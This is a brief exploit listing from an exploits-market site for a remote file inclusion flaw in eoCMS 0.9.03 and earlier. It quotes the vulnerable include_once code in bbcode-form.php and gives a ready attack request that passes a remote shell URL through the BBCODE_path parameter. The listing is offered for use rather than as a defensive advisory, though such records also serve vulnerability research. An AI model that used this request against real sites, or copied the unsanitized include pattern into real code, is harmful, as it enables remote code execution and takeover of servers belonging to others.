[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

eoCMS <= 0.9.03 Remote FIle Include Vulnerability

Author
1nd0n3s14n l4m3r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10252
Category
web applications
Date add
14-12-2009
Platform
unsorted
=================================================
eoCMS <= 0.9.03 Remote FIle Include Vulnerability
=================================================

# Exploit Title: eoCMS <= 0.9.03 Remote FIle Include Vulnerability
# Date: 14-12-2009
# Author: 1nd0n3s14n l4m3r
# Software Link: http://eocms.com/index.php?act=plugin&id=4
# Version: N/A
# Tested on: GNU/LINUX
# CVE : N/A
# Code : N/A
#####################################################################
 
 
##########################################################################
##          eoCMS <= 0.9.03 Remote FIle Include Vulnerability           ##
##                  Created By 1nd0n3s14n l4m3r                         ##
##                      (c) -- 14/12/2oo9                               ##
##########################################################################
 
#####################################################################################
##  ~ Infected File : [bbcode-form.php]                                            ##
##                                                                                 ##
##    include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php');             ##
##    $textarea_name = 'dataBox';                                                  ##
##    $smiley_image_path = './images/emoticons/';                                  ##
##    $bbcode_image_path = './themes/' . $settings['site_theme'] . '/images/';     ##
##                                                                                 ##
##    if(!$BBCODE_override){                                                       ##
##        $head .= '<script language=JavaScript src=bbcodepress-lite.js></script>';##
##        $BBCODE_override = getStandard('./js/bbcodepress/');                     ##
##    //        $BBCODE_override = getStandard('./js/bbcodepress/','-eocms');      ##
##     }                                                                           ##
##                                                                                 ##
##  ~ Example :                                                                    ##
##                                                                                 ##
##    [path]/js/bbcodepress/bbcode-form.php?BBCODE_path=[Shell]                    ##
##                                                                                 ##
##                                                                                 ##
#####################################################################################



#  0day.today [2024-09-28]  #